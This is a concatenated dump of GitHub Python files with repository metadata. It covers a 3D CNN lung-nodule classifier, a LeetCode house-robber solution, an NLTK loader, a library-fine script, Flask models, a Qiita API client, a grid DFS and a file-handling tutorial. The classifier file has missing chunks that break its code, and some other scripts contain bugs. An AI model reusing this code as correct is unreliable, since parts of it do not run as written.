dataset_X=X_tr, dataset_Y=Y_tr, y_value=d['CLASS_LOWER_DIAMETER_NODULES'], augmentations=False, max_chunks=d['MAX_CHUNKS_PER_CLASS'] )\n print(\"CLASS_LOWER_DIAMETER_NODULES nodules: \" + str(luna_num_healthy_chucks))\n\n\nbowl_labels__pd=pd.read_csv(d['BOWL_LABELS'])\nbowl_non_affected_lungs=bowl_labels__pd['id'].loc[bowl_labels__pd['cancer']==0].values\n#all_patients=next(os.walk(d['BOWL_PATIENTS']))[1]\nif 'CLASS_SEGMENTED_FROM_NON_AFFECTED_LUNGS' in d['USE_CLASSES']:\n bowl_num_healthy_chunks =get_nodules_and_augmentations_dict(d['BOWL_INPUT_DIRECTORY'], bowl_non_affected_lungs, augmentation_sep='', dataset_X=X_tr, dataset_Y=Y_tr, y_value=d['CLASS_SEGMENTED_FROM_NON_AFFECTED_LUNGS'], augmentations=False, max_chunks=d['MAX_CHUNKS_PER_CLASS'] )\n print(\"CLASS_SEGMENTED_FROM_NON_AFFECTED_LUNGS: \", bowl_num_healthy_chunks)\n\nif 'CLASS_NON_NODULES' in d['USE_CLASSES']:\n num_non_nodules =get_nodules_and_augmentations_dict(d['LUNA_NON_NODULES_INPUT_DIRECTORY'], [''], augmentation_sep='', dataset_X=X_tr, dataset_Y=Y_tr, y_value=d['CLASS_NON_NODULES'], augmentations=True, max_chunks=d['MAX_CHUNKS_PER_CLASS'] )\n print(\"CLASS_NON_NODULES nodules: \" + str(num_non_nodules))\n\nif 'CLASS_OTHER_TISSUES' in d['USE_CLASSES']:\n num_other_tissues =get_nodules_and_augmentations_dict(d['LUNA_OTHER_TISSUES_INPUT_DIRECTORY'], [''], augmentation_sep='', dataset_X=X_tr, dataset_Y=Y_tr, y_value=d['CLASS_OTHER_TISSUES'], augmentations=True, max_chunks=d['MAX_CHUNKS_PER_CLASS'] )\n print(\"CLASS_OTHER_TISSUES nodules: \" + str(num_non_nodules))\n\n\n\n\n\n#num_affected_without_augmentation = len(luna_affected_nodules)\n#num_healthy_without_augmentation = len(luna_healthy_nodules)\n\n#num_affected = len(luna_affected_nodules)\n#num_healthy = len(luna_healthy_nodules)\n#print(\"\\nnum_affected: \" + str(num_affected))\n#print(\"num_healthy: \" + str(num_healthy))\n\n\n\n\n\nlabel=np.array(Y_tr)\n\nX_tr_array = np.array(X_tr) \n\nnum_samples = len(X_tr_array)\n#print (\"num_samples without augmentation: \", num_samples)\n\n\ntrain_data = [X_tr_array,label]\n\n(X_train, y_train) = (train_data[0],train_data[1])\nprint('X_Train shape:', X_train.shape)\n\n\n\n''' _ \n (_) \n _ __ _ __ ___ _ __ _ __ ___ ___ ___ ___ ___ _ _ __ __ _ \n | '_ \\| '__/ _ \\ '_ \\| '__/ _ \\ / __/ _ \\/ __/ __| | '_ \\ / _` |\n | |_) | | | __/ |_) | | | (_) | (_| __/\\__ \\__ \\ | | | | (_| |\n | .__/|_| \\___| .__/|_| \\___/ \\___\\___||___/___/_|_| |_|\\__, |\n | | | | __/ |\n |_| |_| |___/ \n\n'''\n\n\ndef get_normalized_dataset_for_cnn(dataset, substract=None, divide_by=None, img_rows=img_rows, img_cols=img_cols, img_depth=img_depth):\n num_samples=len(dataset)\n print(\"DEBUG: num observations \", num_samples)\n result_dataset = np.zeros((num_samples, 1, img_rows,img_cols,img_depth))\n \n for i in range(num_samples):\n z=dataset[i,:,:,:]\n result_dataset[i][0][:][:][:]=z\n \n print(dataset.shape, ' samples') \n \n dataset_mean = np.mean(result_dataset)\n dataset_max = np.max(np.abs(result_dataset))\n \n# = np.min(result_dataset)\n# = np.max(np.abs(result_dataset))-dataset_min\n \n if substract is None:\n substract=dataset_mean\n \n \n if divide_by is None:\n divide_by=dataset_max\n \n \n print(\"DEBUG - dataset_mean: \", dataset_mean)\n print(\"DEBUG - dataset_max: \", dataset_max)\n \n \n \n result_dataset = result_dataset.astype('float32')\n \n result_dataset -= substract\n \n result_dataset /=divide_by\n \n result_dataset = np.clip(result_dataset, -1.0, 1.0)\n \n return result_dataset, dataset_mean, dataset_max \n\ntrain_set, train_mean, train_max = get_normalized_dataset_for_cnn((X_tr_array/2).clip(-250,1200))\nreport['train_mean']=train_mean\nreport['train_max']=train_max\n\n\nX_test=[]\nids_test=[]\nnum_test_set_chunks =get_nodules_and_augmentations_dict(d['BOWL_INPUT_DIRECTORY'], [''], augmentation_sep='', dataset_X=X_test, dataset_ids=ids_test, max_chunks=d['MAX_CHUNKS_TO_PREDICT'])\nX_test_array = np.array(X_test) \ndel(X_test)\nids_test__pd=pd.DataFrame(ids_test, columns={'nodule_id'})\ntest_set, test_mean, test_max = get_normalized_dataset_for_cnn((X_test_array/2).clip(-250,1200), substract=train_mean, divide_by=train_max)\nreport['test_mean']=test_mean\nreport['test_max']=test_max\n\n\n\n\n'''\n _ _ _ _ _ \n | | | | | | (_) (_) \n _ __ ___ ___ __| | ___| | | |_ _ __ __ _ _ _ __ _ _ __ __ _ \n | '_ ` _ \\ / _ \\ / _` |/ _ \\ | | __| '__/ _` | | '_ \\| | '_ \\ / _` |\n | | | | | | (_) | (_| | __/ | | |_| | | (_| | | | | | | | | | (_| |\n |_| |_| |_|\\___/ \\__,_|\\___|_| \\__|_| \\__,_|_|_| |_|_|_| |_|\\__, |\n __/ |\n |___/ \n'''\n\npatch_size = img_depth \n\n \n\n\nbatch_size = d['BATCH_SIZE']\nnb_classes = d['NUM_CLASSES']\nnb_epoch = d['EPOCHS'] \n\n# convert class vectors to binary class matrices\nY_train = np_utils.to_categorical(y_train, nb_classes)\n\n# number of convolutional filters to use at each layer\nnb_filters = [32, 32]\n\n# level of pooling to perform at each layer (POOL x POOL)\nnb_pool = [3, 3]\n\n# level of convolution to perform at each layer (CONV x CONV)\nnb_conv = [5,5]\n\n\n\n\n\ndef cnn_model(input_shape, output_shape):\n model = Sequential()\n \n cnn_shape=(input_shape[0], input_shape[1], input_shape[2], input_shape[3])\n #Layer 1\n model.add(Convolution3D(32, 3, 3, 3, border_mode = 'same', init='glorot_uniform', input_shape=cnn_shape))\n model.add(PReLU())\n model.add(Convolution3D(32, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n model.add(PReLU())\n model.add(MaxPooling3D(pool_size=(3, 3, 3), strides=(2, 2, 2)))\n \n #Layer 2\n model.add(Convolution3D(32, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n model.add(PReLU())\n model.add(Convolution3D(32, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n model.add(PReLU())\n model.add(MaxPooling3D(pool_size=(3, 3, 3), strides=(2, 2, 2)))\n \n #Layer 3\n model.add(Convolution3D(64, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n model.add(PReLU())\n model.add(Convolution3D(64, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n model.add(PReLU())\n model.add(MaxPooling3D(pool_size=(3, 3, 3), strides=(2, 2, 2)))\n \n# #Layer 3\n# model.add(Convolution3D(64, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n# model.add(PReLU())\n# model.add(Convolution3D(64, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n# model.add(PReLU())\n# model.add(MaxPooling3D(pool_size=(3, 3, 3), strides=(2, 2, 2)))\n \n# #Layer 3\n# model.add(Convolution3D(256, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n# model.add(PReLU())\n# model.add(Convolution3D(256, 3, 3, 3, border_mode = 'same', init='glorot_uniform'))\n# model.add(PReLU())\n# model.add(MaxPooling3D(pool_size=(3, 3, 3), strides=(2, 2, 2)))\n \n # Flatten\n# model.add(Flatten())\n# model.add(Dense(512, init='glorot_uniform'))\n# model.add(PReLU())\n model.add(Flatten())\n model.add(Dense(512, init='glorot_uniform', name=\"features_layer_1\"))\n model.add(PReLU())\n model.add(Dense(64, init='glorot_uniform', name=\"features_layer_2\"))\n model.add(PReLU())\n model.add(Dense(output_shape, activation='softmax', name=\"output_layer\"))\n \n #model = Model(input=inp, output=out)\n model.compile(loss='mse', optimizer='adam', metrics=['accuracy'])\n return model\n\n\n\n\n\n\n\n\n#model = get_model(1,img_rows, img_cols, img_depth, backend=None)\n \n# Split the data\n\n#X_train_fold, X_val_fold, y_train_fold,y_val_fold = train_test_split(train_set, Y_train, test_size=0.2, random_state=4)\n\n\n\n\n\nnum_samples=Y_train.shape[0]\n\noof_preds = np.zeros(num_samples)\noof_val_index=None\n#test_preds = np.zeros(xtest.shape[0])\n\nhistory = History()\n\nuse_k_fold=d['USE_K_FOLD']\n\nif(use_k_fold):\n num_folds=d['NUM_FOLDS'][1]\n stop_after_fold=d['NUM_FOLDS'][0]\n skf = StratifiedKFold(n_splits=num_folds, random_state=RANDOM_SEED, shuffle=True)\n validation_indexes=skf.split(np.zeros(num_samples) , Y_train[:,1])\nelse:\n num_folds=0\n stop_after_fold=0\n validation_indexes=zip(\"do_not_K_fold\", \"do_not_K_fold\")\n \n\n\n\nif 'RESUME_TRAINING' in d and d['RESUME_TRAINING'] is not None:\n resume_training=True\n previous_training_weights=sorted(glob(d['OUTPUT_DIRECTORY']+d['RESUME_TRAINING']+\"/*.hdf5\"))\nelse:\n resume_training=False\n\nnum_fold=1\nfor train_index, val_index in validation_indexes:\n print(\"Fold: {} / {}\".format(num_fold,num_folds))\n print(\"========\")\n \n model = cnn_model((1, img_rows, img_cols, img_depth), d['NUM_CLASSES'])\n \n if resume_training:\n model.load_weights(previous_training_weights[num_fold - 1])\n \n model_output_filename = str(d['DASHBOARD_ID']) + \"_fold_\" + str(num_fold) + \".hdf5\" #\"_batch_\" + str(num_bag) +\n \n \n #print(\"TRAIN:\", train_index, \"TEST:\", val_index)\n if use_k_fold:\n X_train_fold, X_val_fold = train_set[train_index], train_set[val_index]\n y_train_fold,y_val_fold = Y_train[train_index], Y_train[val_index]\n validation_data = (X_val_fold,y_val_fold)\n \n \n if oof_val_index is None:\n oof_val_index = val_index\n else:\n oof_val_index=np.hstack([oof_val_index, val_index])\n \n # CALLBACKS\n filepath = d['TEMP_DIRECTORY'] +model_output_filename\n early_stopping = EarlyStopping(monitor='val_loss', patience=d['EARLY_STOPPING_ROUNDS'], verbose=1, mode='auto')\n \n checkpoint = ModelCheckpoint(filepath=filepath, monitor='val_loss', verbose=0, save_best_only=True, mode='auto')\n callbacks_list= [early_stopping, checkpoint] #, history]\n else:\n X_train_fold = train_set\n y_train_fold = Y_train\n validation_data=None\n \n early_stopping=None\n callbacks_list= []\n \n filepath = d['EXECUTION_OUTPUT_DIRECTORY'] +model_output_filename\n \n\n \n\n # Train the model\n print(\"Training...\")\n hist = model.fit(X_train_fold,\n y_train_fold,\n validation_data=validation_data,\n batch_size=batch_size,\n nb_epoch = nb_epoch,\n shuffle=True\n ,callbacks= callbacks_list\n ) #show_accuracy=True,\n print(\"Done\")\n \n\n \n if early_stopping in callbacks_list:\n print(\"INFO: loading best model according to early_stopping\")\n model.load_weights(filepath) # loading best model from best epoch\n print('Fold: ' + str(num_fold) + \" - Best Epoch: \",str(early_stopping.best))\n report['early_stopping_best_epoch']+=[early_stopping.best]\n \n if d['TEMP_DIRECTORY']!=d['EXECUTION_OUTPUT_DIRECTORY']:\n shutil.move(filepath, d['EXECUTION_OUTPUT_DIRECTORY'])\n else:\n print(\"DEBUG: early stopping disabled\")\n print(\"INFO: saving model to disk\")\n save_model(model, filepath)\n \n\n \n \n\n\n #hist = model.fit(train_set, Y_train, batch_size=batch_size,\n # nb_epoch=nb_epoch,validation_split=0.2, show_accuracy=True,\n # shuffle=True)\n \n \n # Evaluate the model\n #score = model.evaluate(X_val_fold, y_val_fold, batch_size=batch_size) #, show_accuracy=True)\n if use_k_fold:\n preds=model.predict(X_val_fold, batch_size=batch_size)\n results_val=pd.DataFrame(preds[:,1].astype(np.float), columns={'prediction'})\n results_val['affected']=y_val_fold[:,1]\n # results_val['affected']=pd.to_numeric(results_val['affected'], downcast='float')\n # results_val['prediction']=pd.to_numeric(results_val['prediction'])\n #results_val.loc[results_val['affected']<0.0001]=0\n score = log_loss(results_val['affected'], results_val['prediction'])\n report['val_scores']+=[score]\n if len(results_val['prediction'].unique())stop_after_fold:\n break\n \n\n\nif stop_after_fold < num_folds:\n print(\"INCOMPLETE EXECUTION RESULTS\")\n print(\"Only {} folds of {}\".format(stop_after_fold, num_folds))\n \n if use_k_fold:\n oof_incomplete_results=pd.DataFrame(oof_preds[oof_val_index], columns={'prediction'})\n oof_incomplete_results['affected']=Y_train[oof_val_index][:,1] \n oof_incomplete_score = log_loss(oof_incomplete_results['affected'], oof_incomplete_results['prediction'])\n print('OOF Score - (incomplete, {} observations): {}'.format(oof_val_index.shape[0], oof_incomplete_score))\n results=oof_incomplete_results\nelse:\n # FAIL!!!: average needed!\n #train_results=pd.DataFrame(train_preds, columns={'prediction'})\n #train_results['affected']=Y_train[:,1] \n train_score = log_loss(train_results['affected'], train_results['prediction'])\n print('TRAIN Score: {}'.format(train_score))\n report['train_score']=train_score\n \n\n if use_k_fold:\n oof_results=pd.DataFrame(oof_preds, columns={'prediction'})\n oof_results['affected']=Y_train[:,1] \n oof_score = log_loss(oof_results['affected'], oof_results['prediction'])\n print('OOF Score: {}'.format(oof_score))\n report['oof_score']=oof_score\n results=oof_results\n else:\n results=train_results\n\n\n\nif len(results['prediction'].unique())=d['CLASS_1_THRESHOLD']]=1\nresults['prediction'][results['prediction']= self.period:\n self.epochs_since_last_save = 0\n filepath = self.filepath.format(epoch=epoch, **logs)\n if self.save_best_only:\n current = logs.get(self.monitor)\n if current is None:\n warnings.warn('Can save best model only with %s available, '\n 'skipping.' % (self.monitor), RuntimeWarning)\n else:\n if self.monitor_op(current, self.best):\n if self.verbose > 0:\n print('Epoch %05d: %s improved from %0.5f to %0.5f,'\n ' saving model to %s'\n % (epoch, self.monitor, self.best,\n current, filepath))\n self.best = current\n if self.save_weights_only:\n self.model.save_weights(filepath, overwrite=True)\n else:\n self.model.save(filepath, overwrite=True)\n else:\n if self.verbose > 0:\n print('Epoch %05d: %s did not improve' %\n (epoch, self.monitor))\n else:\n if self.verbose > 0:\n print('Epoch %05d: saving model to %s' % (epoch, filepath))\n if self.save_weights_only:\n self.model.save_weights(filepath, overwrite=True)\n else:\n self.model.save(filepath, overwrite=True)\n\n'''\n\n\n\n\n\n\n\n\n","repo_name":"spanishkagglers/sk-bowl17","sub_path":"src/14_Nodule_3D_classifier.py","file_name":"14_Nodule_3D_classifier.py","file_ext":"py","file_size_in_byte":33350,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"34520729792","text":"\"\"\"\n你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,\n影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,\n系统会自动报警。\n\n给定一个代表每个房屋存放金额的非负整数数组,计算你 不触动警报装置的情况下 ,一夜之内能够偷窃到的最高金额\n\"\"\"\n\n\nclass Solution:\n\n def rob(self, nums: [int]) -> int:\n\n # 动态规划,两个选择,要么偷,要么不偷\n # 偷的话,i-1不能偷,所以是i-2的state加上当前的金额\n # 不偷的话,就等于i-1的state\n # 两者最大值即为当前state\n length = len(nums)\n state = [0] * length\n\n if length == 0:\n return 0\n\n if length == 1:\n return nums[0]\n\n # state[0] = nums[0]\n # state[1] = max(nums[0], nums[1])\n\n first = nums[0]\n second = max(nums[0], nums[1])\n\n for i in range(2, length):\n tmp = second\n second = max(first + nums[i], second)\n first = tmp\n\n return second\n\n # state[i] = max(state[i-1], state[i-2] + nums[i])\n # return state[length-1]\n\n\ntest = Solution()\na = test.rob([1, 2, 3, 1])\nprint(a)\n","repo_name":"oo363636/test","sub_path":"Leetcode/LC198.py","file_name":"LC198.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"35001378999","text":"import csv\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords\nimport sys\nimport time\n\ndef load_csv2(file_path, l = [], lim = 0):\n \"\"\"\n file_path => type==str(), csv file with 2 columns separated with comma => (text, statement(0,1))\n l => type==list() default l=[]\n lim => type==int() default=0 (means parse whole file), number of lines to parse\n \n Loading function. Appending data to l as (row[0],row[1])\n returns:\n l = [[row[0], row[1]], ...]\n statemen==0 => negative\n len(pos) and len(neg)\n alw => type==list(), filtered list of all words\n \n \"\"\"\n #ładowanie pliku z podziałem na słowa i wykluczeniem stopwords, digit, punctuation\n with open(file_path, \"r\", encoding='utf-8') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n sw = set(stopwords.words(\"english\"))\n line_count = 0\n pos, neg, alw = [], [], []\n percent = 0\n \n for row in csv_reader:\n sys.stdout.write(f'\\rloading data' + f'\\t{percent:.1f}%\\t ({line_count})')\n sys.stdout.flush()\n \n if line_count == 0:\n line_count += 1\n else:\n row[0] = row[0].replace(\"

\", \" \")\n row[0] = word_tokenize(row[0])\n \n filtred = []\n for word in row[0]:\n word = word.rstrip().lower()\n if word not in sw:\n if word.isalpha() == True:\n filtred.append(word)\n alw.append(word)\n \n if int(row[1]) == 0:\n neg.append((filtred, int(row[1])))\n else:\n pos.append((filtred, int(row[1])))\n line_count += 1\n \n \n # Ogranicznik parsowania\n if lim == 0:\n percent = (line_count)/50000*100\n else:\n percent = (line_count)/lim*100\n \n if lim != 0 and line_count == lim+1:\n break\n time.sleep(0.001)\n \n l = pos + neg\n sys.stdout.write('\\rDone! ')\n time.sleep(1)\n return l, len(pos), len(neg), alw\n","repo_name":"OliverAndreasHood/NLP_Final","sub_path":"modules/part_A.py","file_name":"part_A.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20238209762","text":"#program cari data peminjaman buku \"data peminjaman.txt\" berdasar kode member\n\nfrom datetime import*\ncari=input('Masukkan Kode Member : ')\nprint()\ndatapinjam=open('d:\\data peminjaman.txt','r')\nbaca=datapinjam.read().splitlines()\ntglkembali=datetime.date(datetime.now())\n\nfor data in baca:\n datum=data.split('|')\n denda=2000\n y=datum[3].split('-')\n tglpinjam=date(year=int(y[0]),month=int(y[1]),day=int(y[2]))\n lambat=tglkembali-tglpinjam\n jmldenda=lambat.days*denda\n if cari==datum[0]:\n print('Data Peminjaman Buku')\n print('Kode Member\\t\\t : ',datum[0],'\\nNama Member\\t\\t : ',datum[1],'\\nJudul Buku\\t\\t : ',datum[2],\n '\\nTanggal Mulai Peminjaman : ',datum[3],'\\nTanggal Maks Peminjaman : ',datum[4])\n print('Tanggal Pengembalian : ',tglkembali,'\\nTerlambat\\t\\t : ',lambat,'hari','\\nDenda\\t\\t\\t : Rp',jmldenda)\n \n if cari!=datum[0]:\n cari=='tak ada'\nif cari=='tak ada':\n print('Tidak ada data peminjaman dari Member',cari)\ndatapinjam.close()\n","repo_name":"herafatmawati/Python_Projects_Protek","sub_path":"Praktikum 11/date time 3.py","file_name":"date time 3.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14106419227","text":"from itemcatalog import db, login_manager\nfrom flask_login import UserMixin\nfrom datetime import datetime\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(int(user_id))\n\n\nclass User(db.Model, UserMixin):\n __tablename__ = 'user'\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(20), unique=True, nullable=False)\n email = db.Column(db.String(120), unique=True, nullable=False)\n image_file = db.Column(db.String(20), nullable=False, default='default.jpg')\n password = db.Column(db.String(60), nullable=False)\n items = db.relationship('Item', backref='item_author', lazy=True)\n\n def __repr__(self):\n return f\"User('{self.username}', '{self.email}', '{self.image_file}')\"\n\n\nclass Category(db.Model):\n __tablename__ = 'category'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100), nullable=False)\n items = db.relationship('Item', backref='item_category', cascade=\"all, delete-orphan\", lazy=True)\n\n def __repr__(self):\n return f\"Category('{self.name}')\"\n\n @property\n def serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n return {\n 'id': self.id,\n 'name': self.name,\n }\n\n\nclass Item(db.Model):\n __tablename__ = 'item'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100), nullable=False)\n description = db.Column(db.Text, nullable=False)\n date_published = db.Column(db.DateTime, nullable=False, default=datetime.utcnow)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n category_id = db.Column(db.Integer, db.ForeignKey('category.id'), nullable=False)\n\n def __repr__(self):\n return f\"Item('{self.name}, {self.date_published}, {self.item_author.username}, {self.item_category.name}')\"\n\n @property\n def serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n return {\n 'id': self.id,\n 'category_id': self.item_category.id,\n 'item_author': self.item_author.username,\n 'name': self.name,\n 'description': self.description\n }\n","repo_name":"muhammad-mamdouh/udacity-fullstack-nanodegree-projects","sub_path":"Project3/itemcatalog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"30040575053","text":"import argparse\nimport requests\nimport json\n\n# Initialize about argument\nparser = argparse.ArgumentParser()\nargs = parser.parse_args()\nparser.add_argument('-all',action='store_true',help='All the item can be seen')\n\n# Initialize for request\napi = \"https://qiita.com/api/v2/items\"\ntoken = \"\" #Write your Token getting by Qiita\nheaders = {\"Authorization\":\"Bearer\"+\" \"+token}\nparams = {\n \"page\":\"1\",\"per_page\":\"1\",\"query\":\"python\",\n \"tags\":[\n {\n \"name\": \"python\",\n }\n ]\n}\n\n# Execute using Qiita API\ndef qiita_search():\n response = requests.get(api,params=params,headers=headers)\n if response.status_code<300: #\"response.status_code.ok\" is also good\n print(\"[API Request is successed]\")\n data = json.loads(response.text)\n for item in data:\n info_print(item[\"id\"],item[\"title\"],item[\"updated_at\"],item[\"likes_count\"],item[\"stocks_count\"])\n if args.all:\n info_print(item)\n else:\n print(\"[HTTPError]\"+str(response.status_code))\n\ndef info_print(*args):\n print(\"-----------------\")\n for i in args:\n print(str(i))\n print(\"-----------------\")\n\nif __name__ == \"__main__\":\n qiita_search()","repo_name":"myon-bioinformatics/Qiita_API_Template","sub_path":"qiita_api_template.py","file_name":"qiita_api_template.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"4872921602","text":"from pathlib import Path\n\nfrom qgis.core import (\n QgsFeature,\n QgsFeatureRequest,\n QgsGeometry,\n QgsProject,\n Qgis,\n QgsRectangle,\n)\nfrom qgis.gui import QgsMapToolEmitPoint\n\nfrom .baseTools import BaseTools\n\n\nclass CreateVegetationSymbol(QgsMapToolEmitPoint, BaseTools):\n def __init__(self, iface, toolBar, scaleSelector, productTypeSelector):\n super().__init__(iface.mapCanvas())\n self.iface = iface\n self.toolBar = toolBar\n self.mapCanvas = iface.mapCanvas()\n self.productTypeSelector = productTypeSelector\n self.scaleSelector = scaleSelector\n self.canvasClicked.connect(self.mouseClick)\n\n def setupUi(self):\n buttonImg = Path(__file__).parent / \"icons\" / \"Simbolo_vegatacao.png\"\n self._action = self.createAction(\n \"Símbolo Vegetação\",\n buttonImg,\n lambda _: None,\n self.tr(\n 'Cria feições em \"edicao_texto_generico_l\" baseadas nos valores de \"cobter_vegetacao_a\"'\n ),\n self.tr(\n 'Cria feições em \"edicao_texto_generico_l\" baseadas nos valores de \"cobter_vegetacao_a\"'\n ),\n self.iface,\n )\n self._action.setCheckable(True)\n self.setAction(self._action)\n self.toolBar.addAction(self._action)\n self.iface.registerMainWindowAction(self._action, \"\")\n\n def mouseClick(self, pos, btn):\n if self.isActive():\n flag = False\n posGeom = QgsGeometry.fromPointXY(pos)\n p = self.mapCanvas.mapSettings().mapToLayerCoordinates(self.srcLyr, pos)\n rect = QgsRectangle(\n p.x() - self.tol, p.y() - self.tol, p.x() + self.tol, p.y() + self.tol\n )\n feats = [x for x in self.srcLyr.getFeatures(rect)]\n if not feats:\n self.displayErrorMessage(\n \"Não foi encontrado um polígono de vegetação dentro da tolerância\"\n )\n flag = True\n for feat in feats:\n if not feat.geometry().intersects(posGeom):\n continue\n toInsert = QgsFeature(self.dstLyr.fields())\n vegName = self.getVegetationMapping(feat)\n if vegName is None:\n continue\n toInsert.setAttribute(\"texto_edicao\", vegName)\n toInsert.setGeometry(posGeom)\n self.dstLyr.startEditing()\n self.dstLyr.addFeature(toInsert)\n self.dstLyr.triggerRepaint()\n flag = True\n if not flag:\n self.displayErrorMessage(\"Vegetação inválida\")\n self.dstLyr.triggerRepaint()\n self.mapCanvas.refresh()\n\n @staticmethod\n def getVegetationMapping(feat):\n mapping = {\n 1296: \"Ref\",\n 801: \"Caat\",\n 501: \"Campnr\",\n 701: \"Cerr\",\n 401: \"Rest\",\n 1003: \"Rochoso\",\n }\n return mapping.get(int(feat.attribute(\"tipo\")), None)\n\n def setTolerance(self):\n self.tol = self.mapCanvas.mapSettings().mapUnitsPerPixel()\n\n def getLayers(self):\n if not self.productTypeSelector.currentIndex() == 1: # 1 = Topografica\n self.displayErrorMessage(\n self.tr(\"Essa ferramenta só pode ser utilizada para Carta Topográfica\")\n )\n return None\n srcLyr = QgsProject.instance().mapLayersByName(\"cobter_vegetacao_a\")\n dstLyr = QgsProject.instance().mapLayersByName(\"edicao_simb_vegetacao_p\")\n if len(srcLyr) == 1:\n self.srcLyr = srcLyr[0]\n else:\n self.displayErrorMessage(\n self.tr('Camada \"cobter_vegetacao_a\" não encontrada')\n )\n return None\n if len(dstLyr) == 1:\n self.dstLyr = dstLyr[0]\n else:\n self.displayErrorMessage(\n self.tr('Camada \"edicao_simb_vegetacao_p\" não encontrada')\n )\n return None\n self.setTolerance()\n return True\n","repo_name":"dsgoficial/ferramentas_edicao","sub_path":"modules/tools/buttons/createVegetationSymbol.py","file_name":"createVegetationSymbol.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"pt","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"74577363867","text":"n = int(input())\ngraph = []\nstart_point = []\nfor i in range(n):\n graph.append(list(map(int, input())))\n for j in range(n):\n if graph[i][j] == 1:\n start_point.append((i, j))\n\nvisited = [[False] * n for _ in range(n)]\n\n# 단지수(나눠진 그래프 수), 단지 내의 수\ndx = [-1, 1, 0, 0]\ndy = [0, 0, -1, 1]\n\ndef dfs(sx, sy, graph, visited):\n visited[sx][sy] = True\n home_cnt = 1\n for i in range(4):\n nx, ny = sx + dx[i], sy + dy[i]\n if nx < 0 or nx >= n or ny < 0 or ny >= n:\n continue\n if graph[nx][ny] == 1 and not visited[nx][ny]:\n home_cnt += dfs(nx, ny, graph, visited)\n return home_cnt\n\ndanji_cnt = 0\nres = []\nfor sx, sy in start_point:\n if not visited[sx][sy]:\n danji_cnt += 1\n res.append(dfs(sx, sy, graph, visited))\nprint(danji_cnt)\nres.sort()\nprint(*res, sep='\\n')","repo_name":"HwiYul-G/coding_test","sub_path":"BaekJoon/DFS/2667 단지번호붙이기 - DFS.py","file_name":"2667 단지번호붙이기 - DFS.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37885002588","text":"'''Reading and Writing to Files'''\n\n# to open a file\n# this open command allows us to specify whether we want to open this file for reading, writing, appending or reading and writing.\n# if we dont specify anything then by defualts to open the file for reading\n\n# ways to open a file\n# 1- in this way we must close the file\n# f = open('test.txt')\n# print(f.name) # test.txt\n# print(f.mode) # r stand for reading\n# f.close()\n\n# 2- context mangagers we don't have to use close\nwith open('test.txt') as file:\n print(file.name) # test.txt\n print(file.mode) # r stand for reading\n # to read the entire file if the file is small\n #file_contents = file.read()\n # if we have a big file we should use for-loop\n # for line in file:\n # print(line, end='') # (end='') to delete the space between lines\n # to read line by line\n # all lines\n # file_contents = file.readlines()\n # one line\n #file_contents = file.readline()\n # print(file_contents, end='')\n\n # if we want to read by the size of the file\n size_to_read = 100\n file_contents = file.read(size_to_read)\n # to find the read postion in the file\n print(file.tell()) # 100\n # to change the read position to any location in the file\n # file.seek(3)\n while len(file_contents) > 0:\n print(file_contents, end='')\n # if we dont add this will get ininfint loop\n file_contents = file.read(size_to_read)\n#----------------------------------------------------------------------------\n\n# writing to file\n# this way will create a new file and write to it. it will not overwrite an existing file only if we use 'i' insted of 'w'\n# with open('test2.txt', 'w') as f:\n# f.write('Hello Python this is just a test.')\n# # to set the postion of the write location f.seek(0)\n# f.write('I am really glad to know you.')\n\n# to copy from a file and write to another\n# with open('test.txt', 'r') as rf:\n# with open('test_copy.txt', 'w') as wf:\n# for line in rf:\n# wf.write(line)\n\n# to copy picture file\n# with open('abody.jpg', 'rb') as rf:\n# with open('abody_copy.jpg', 'wb') as wf:\n# for line in rf:\n# wf.write(line)\n\n# to cope a large picture file\nwith open('abody.jpg', 'rb') as rf:\n with open('abody_copy.jpg', 'wb') as wf:\n chunk_size = 4096\n rf_chunk = rf.read(chunk_size)\n while len(rf_chunk) > 0:\n wf.write(rf_chunk)\n rf_chunk = rf.read(chunk_size)\n","repo_name":"Zakaria-Alsahfi/python-tutorial","sub_path":"python_tutorial/File_Objects.py","file_name":"File_Objects.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} 